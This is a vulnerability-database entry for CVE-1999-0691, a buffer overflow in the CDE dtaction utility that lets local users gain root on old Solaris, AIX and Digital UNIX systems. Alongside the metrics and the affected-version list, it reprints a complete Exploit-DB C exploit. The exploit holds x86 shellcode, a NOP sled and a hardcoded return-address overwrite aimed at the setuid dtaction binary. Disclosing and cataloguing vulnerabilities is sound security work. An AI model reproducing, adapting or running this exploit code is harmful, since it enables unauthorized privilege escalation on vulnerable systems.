CVE-1999-0691 : Detail

CVE-1999-0691

0.04%V3
Local
2000-01-04
04h00 +00:00
2024-08-01
16h48 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in the AddSuLog function of the CDE dtaction utility allows local users to gain root privileges via a long user name.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 19497

Publication date : 1999-09-12 22h00 +00:00
Author : Job de Haas of ITSX
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/635/info TRU64/DIGITAL UNIX 4.0 d/e/f,AIX <= 4.3.2,Common Desktop Environment <= 2.1,IRIX <= 6.5.14,Solaris <= 7.0 dtaction Userflag Buffer Overflow Vulnerability CDE is the Common Desktop Environment, an implementation of a Desktop Manager for systems that run X. It is distributed with various commercial UNIX implementations. Under some distributions of CDE Common Desktop Environment, the dtaction program has a locally exploitable buffer overflow condition. The buffer overflow condition exists in the argument parsing code for the -u (user) function. Any information provided by the user over 1024 bytes may overwrite the buffer and in return be exploited by a malicious user. Since the dtaction program is typically installed setuid root, this make it possible for a local user to gain administrative access on a vulnerable system. */ /* * dtaction_ov.c * Job de Haas * (c) ITSX bv 1999 * * This program demonstrates an overflow problem in /usr/dt/bin/dtaction. * It has only been tested on Solaris 7 x86 * assembly code has been taken from ex_dtprintinfo86.c by [email protected] * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <pwd.h> #define BUFLEN 998 char exploit_code[] = "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x8d\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff" "\xeb\x18\x5e\x33\xc0\x33\xdb\xb3\x08\x2b\xf3\x88\x06\x50\x50\xb0" "\x17\x9a\xff\xff\xff\xff\x07\xee\xeb\x05\xe8\xe3\xff\xff\xff" "\x55\x8b\xec\x83\xec\x08\xeb\x50\x33\xc0\xb0\x3b\xeb\x16\xc3\x33" "\xc0\x40\xeb\x10\xc3\x5e\x33\xdb\x89\x5e\x01\xc6\x46\x05\x07\x88" "\x7e\x06\xeb\x05\xe8\xec\xff\xff\xff\x9a\xff\xff\xff\xff\x0f\x0f" "\xc3\x5e\x33\xc0\x89\x76\x08\x88\x46\x07\x89\x46\x0c\x50\x8d\x46" "\x08\x50\x8b\x46\x08\x50\xe8\xbd\xff\xff\xff\x83\xc4\x0c\x6a\x01" "\xe8\xba\xff\xff\xff\x83\xc4\x04\xe8\xd4\xff\xff\xff/bin/id"; main() { char *argp[6], *envp[3]; char buf[2048]; unsigned long *p; struct passwd *pw; int buflen; if ((pw = getpwuid(getuid())) == NULL) { perror("getpwuid"); exit(1); } buflen = BUFLEN - strlen( pw->pw_name ); memset(buf,0x90,buflen); strncpy( &buf[500], exploit_code, strlen(exploit_code)); /* set some pointers to values that keep code running */ p = (unsigned long *)&buf[buflen]; *p++ = 0x37dc779b; *p++ = 0xdfaf6502; *p++ = 0x08051230; *p++ = 0x080479b8; /* the return address. */ *p++ = 0x08047710; *p = 0; argp[0] = strdup("/usr/dt/bin/dtaction"); argp[1] = strdup("-u"); argp[2] = strdup(buf); argp[3] = strdup("Run"); argp[4] = strdup("/usr/bin/id"); argp[5] = NULL; if (!getenv("DISPLAY")) { printf("forgot to set DISPLAY\n"); exit(1); } envp[0] = malloc( strlen("DISPLAY=")+strlen(getenv("DISPLAY"))+1); strcpy(envp[0],"DISPLAY="); strcat(envp[0],getenv("DISPLAY")); envp[1] = NULL; execve("/usr/dt/bin/dtaction",argp,envp); }

Products Mentioned

Configuraton 0

Cde>>Cde >> Version 1.0.1

    Cde>>Cde >> Version 1.0.2

      Cde>>Cde >> Version 1.1

        Cde>>Cde >> Version 1.2

          Cde>>Cde >> Version 2.0

            Cde>>Cde >> Version 2.1

              Configuraton 0

              Digital>>Unix >> Version 4.0d

                Digital>>Unix >> Version 4.0e

                  Digital>>Unix >> Version 4.0f

                    Ibm>>Aix >> Version 4.1

                    Ibm>>Aix >> Version 4.1.1

                    Ibm>>Aix >> Version 4.1.2

                    Ibm>>Aix >> Version 4.1.3

                    Ibm>>Aix >> Version 4.1.4

                    Ibm>>Aix >> Version 4.1.5

                    Ibm>>Aix >> Version 4.2

                    Ibm>>Aix >> Version 4.2.1

                    Ibm>>Aix >> Version 4.3

                    Ibm>>Aix >> Version 4.3.1

                    Ibm>>Aix >> Version 4.3.2

                    Sun>>Solaris >> Version 2.4

                      Sun>>Solaris >> Version 2.5.1

                        Sun>>Solaris >> Version 2.6

                        Sun>>Solaris >> Version 7.0

                          Sun>>Sunos >> Version 5.4

                          Sun>>Sunos >> Version 5.5

                          Sun>>Sunos >> Version 5.5.1

                          Sun>>Sunos >> Version 5.7

                          References

                          http://www.securityfocus.com/bid/635
                          Tags : vdb-entry, x_refsource_BID